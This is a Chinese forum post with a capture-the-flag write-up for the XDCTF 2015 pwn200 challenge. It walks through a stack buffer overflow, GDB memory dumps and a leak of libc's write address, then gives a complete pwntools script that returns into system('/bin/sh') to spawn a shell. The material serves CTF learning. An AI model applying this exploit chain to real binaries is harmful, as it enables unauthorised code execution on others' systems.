【PWN】 XDCTF pwn200 writeup

发布于 2019-09-26 作者 风铃 70次 浏览 版块 前端

200分就这么烦还让不让人玩啊。。。还是自己太渣Orz

思路:
int sub_main()
{
signed int v1; // [sp+2Ch] [bp-6Ch]@1
signed int v2; // [sp+30h] [bp-68h]@1
signed int v3; // [sp+34h] [bp-64h]@1
signed int v4; // [sp+38h] [bp-60h]@1
signed int v5; // [sp+3Ch] [bp-5Ch]@1
signed int v6; // [sp+40h] [bp-58h]@1
int v7; // [sp+44h] [bp-54h]@1


v1 = 'cleW';
v2 = ' emo';
v3 = 'X ot';
v4 = 'FTCD';
v5 = '5102';
v6 = '\n!~';
memset(&v7, 0, 0x4Cu);
setbuf(stdout, (char *)&v1);
write(1, &v1, strlen((const char *)&v1));
readstr();
return 0;
}
ssize_t readstr()
{
char buf; // [sp+1Ch] [bp-6Ch]@1


setbuf(stdin, &buf);
return read(0, &buf, 0x100u);
}


典型的buffer_overflow漏洞,read可以读入0x100长度的变量,所以可以覆盖readstr的返回地址从而获得控制流,至于shellcode的放置因为没有leak addr的地方,使用jmp esp的方法跳转即可。


测试步骤:
1. 内存探测(GDB FUZ)
2. 搜索jmp str(前面blog有提过)
3. 布置内存&exp



[———————————-registers———————————–]
EAX: 0xffffd0dc ("Welcome to XDCTF2015~!\n")
EBX: 0xffffd0f4 –> 0x0
ECX: 0xffffffe7
EDX: 0xffffd0dc ("Welcome to XDCTF2015~!\n")
ESI: 0x0
EDI: 0xffffd0f4 –> 0x0
EBP: 0xffffd148 –> 0x0
ESP: 0xffffd0b0 –> 0x1
EIP: 0x804855a (call 0x80483c0 <write@plt>)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[————————————-code————————————-]
0x804854b: lea eax,[esp+0x2c]
0x804854f: mov DWORD PTR [esp+0x4],eax
0x8048553: mov DWORD PTR [esp],0x1
=> 0x804855a: call 0x80483c0 <write@plt>
0x804855f: call 0x8048484
0x8048564: mov eax,0x0
0x8048569: lea esp,[ebp-0x8]
0x804856c: pop ebx
Guessed arguments:
arg[0]: 0x1
arg[1]: 0xffffd0dc ("Welcome to XDCTF2015~!\n")
arg[2]: 0x17
[————————————stack————————————-]
0000| 0xffffd0b0 –> 0x1
0004| 0xffffd0b4 –> 0xffffd0dc ("Welcome to XDCTF2015~!\n")
0008| 0xffffd0b8 –> 0x17
0012| 0xffffd0bc –> 0x0
0016| 0xffffd0c0 –> 0x3
0020| 0xffffd0c4 –> 0x9 ('\t')
0024| 0xffffd0c8 –> 0x2c0003f
0028| 0xffffd0cc –> 0xffffffff
[——————————————————————————]
Legend: code, data, rodata, value


Breakpoint 4, 0x0804855a in ?? ()
gdb-peda$ x /64xw $esp
0xffffd0b0: 0x00000001 0xffffd0dc 0x00000017 0x00000000
0xffffd0c0: 0x00000003 0x00000009 0x02c0003f 0xffffffff
0xffffd0d0: 0xffffd184 0xffffd0f8 0xffffd0f0 0x636c6557
0xffffd0e0: 0x20656d6f 0x58206f74 0x46544344 0x35313032
0xffffd0f0: 0x000a217e 0x00000000 0x00000000 0x00000000
0xffffd100: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd110: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd120: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd130: 0x00000000 0x00000000 0x00000000 0x00000000
……


gdb-peda$ x /64xw $esp
0xffffd020: 0xf7fb4c20 0xffffd03c 0x00000100 0x00000001
0xffffd030: 0xffffd090 0xf7fea181 0xf7ffdaf0 0xf7fd8b48
0xffffd040: 0x00000001 0x00000001 0x00000000 0x000008d3
0xffffd050: 0xf7fd8b48 0xf7fb4000 0xffffd074 0x0804a010
0xffffd060: 0x08048268 0x08048228 0x00002000 0x00000000
0xffffd070: 0x00000000 0xf7e16e88 0xffffd184 0xffffd0f4
0xffffd080: 0x00000000 0xffffd0f4 0x00000000 0xffffd0f4
0xffffd090: 0xffffd148 0xf7ff0500 0xffffd148 0x00000017
0xffffd0a0: 0xffffd0dc 0xf7ee4c73 0xffffd148(old_ebp) 0x08048564(ret addr)
……


input 'a'*99 + '\n'


gdb-peda$ x /64xw $esp
0xffffd020: 0x00000000 0xffffd03c 0x00000100 0x00000001
0xffffd030: 0xffffd090 0xf7fea181 0xf7ffdaf0 0x61616161
0xffffd040: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd050: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd060: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd070: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd080: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd090: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd0a0: 0x61616161 0x61616161 0x61616161(o) 0x61616161
0xffffd0b0: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd0c0: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd0d0: 0x61616161 0xffff0a61 0xffffd0f0 0x636c6557
0xffffd0e0: 0x20656d6f 0x58206f74 0x46544344 0x35313032
0xffffd0f0: 0x000a217e 0x00000000 0x00000000 0x00000000
0xffffd100: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd110: 0x00000000 0x00000000 0x00000000 0x00000000


gdb-peda$ jmpcall
0x804847f : call eax
0x804860b : call eax
0x8048677 : call [eax]


但是eax好像并不能控制。。
无明显leak也拿不到libc,rop链怎么构造。。题目说不用libc。。这怎么能不用libc。。。


—————————————————————
所以就是么有leak创造leak也要上。将write的地址放上去之后构造stack:


old_ebp+(overwrite) 'a'*0x70
retaddr(call write指令地址 或者 plt中write地址)
jmpaddr(main)
argu(libc_start_main)


然后把获取的东西放到神器中跑一下(write–Plk\xf7–)
windcarp@windcarp-Aspire-E1-471G:~/CTF/libc-database$ ./find write 50
archive-eglibc (id libc6_2.15-0ubuntu10_amd64)
ubuntu-trusty-i386-libc6 (id libc6_2.19-0ubuntu6.6_i386)
ubuntu-utopic-i386-libc6 (id libc6_2.19-10ubuntu2.3_i386)
archive-eglibc (id libc6-amd64_2.11.1-0ubuntu7.21_i386)
archive-glibc (id libc6-i386_2.19-15ubuntu2_amd64)
理论上第二个库的可能性比较大。
windcarp@windcarp-Aspire-E1-471G:~/CTF/libc-database$ ./dump libc6_2.19-0ubuntu6.6_i386
offset___libc_start_main_ret = 0x19a83
offset_system = 0x00040190
offset_dup2 = 0x000db590
offset_read = 0x000dabd0
offset_write = 0x000dac50
offset_str_bin_sh = 0x160a24
—————————————————————


—————————————————————
然后是rop链。rop链是再跑到这个地方的时候,构造stack


old_ebp+(overwrite) 'a'*0x70
retaddr(system)
jmpaddr(restart)
argu(libc_start_main) <bin/sh addr>
—————————————————————


成功,撒花!


 



 1 #Exploit for xdctf pwn200
2 #@Windcarp 2015.10.14
3 from pwn import *
4
5 #init
6 context(arch = 'i386', os = 'linux')
7
local = True
8

9 if local:
10
p = process("./pwn200")
11
else:
12
pass
13
14 binary = ELF("pwn200")
15

16 #payload
17 padding = 'a' * 0x70
18 payload1 = padding + '\xc0\x83\x04\x08' + '\xbe\x84\x04\x08\x01\x00\x00\x00\x10\xa0\x04\x08\xff\x00\x00\x00'
19
20 #pause for gdb to attach
21 raw_input()
22

23 #attention to fit the program well
24 p.recvuntil("\n")
25
p.send(payload1 + '\n')
26
data = p.recvuntil("\n")
27
writes_got_str = data[0:4]
28

29 #let's check
30 write_got_addr = u32(writes_got_str)
31
print "[] writes : ",hex(write_got_addr)
32

33
34 #as we already gain that
35 offset_system = 0x00040190
36 offset_write = 0x000dac50
37 offset_str_bin_sh = 0x160a24
38 base_addr = write_got_addr - offset_write
39
system_addr = offset_system + base_addr
40
binsh_addr = offset_str_bin_sh + base_addr
41
payload2 = padding + p32(system_addr) + '\xde\xad\xbe\xef' + p32(binsh_addr)
42
p.send(payload2 + '\n')
43

44 #yeah!We got the shell!
45 p.interactive()


$ python 200.py 


[+] Starting program './pwn200': Done
[
] '/home/windcarp/\xe6\xa1\x8c\xe9\x9d\xa2/pwn200'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE


[] writes : 0xf76c3c50
[
] Switching to interactive mode
$ ls
200.py

收藏
暂无回复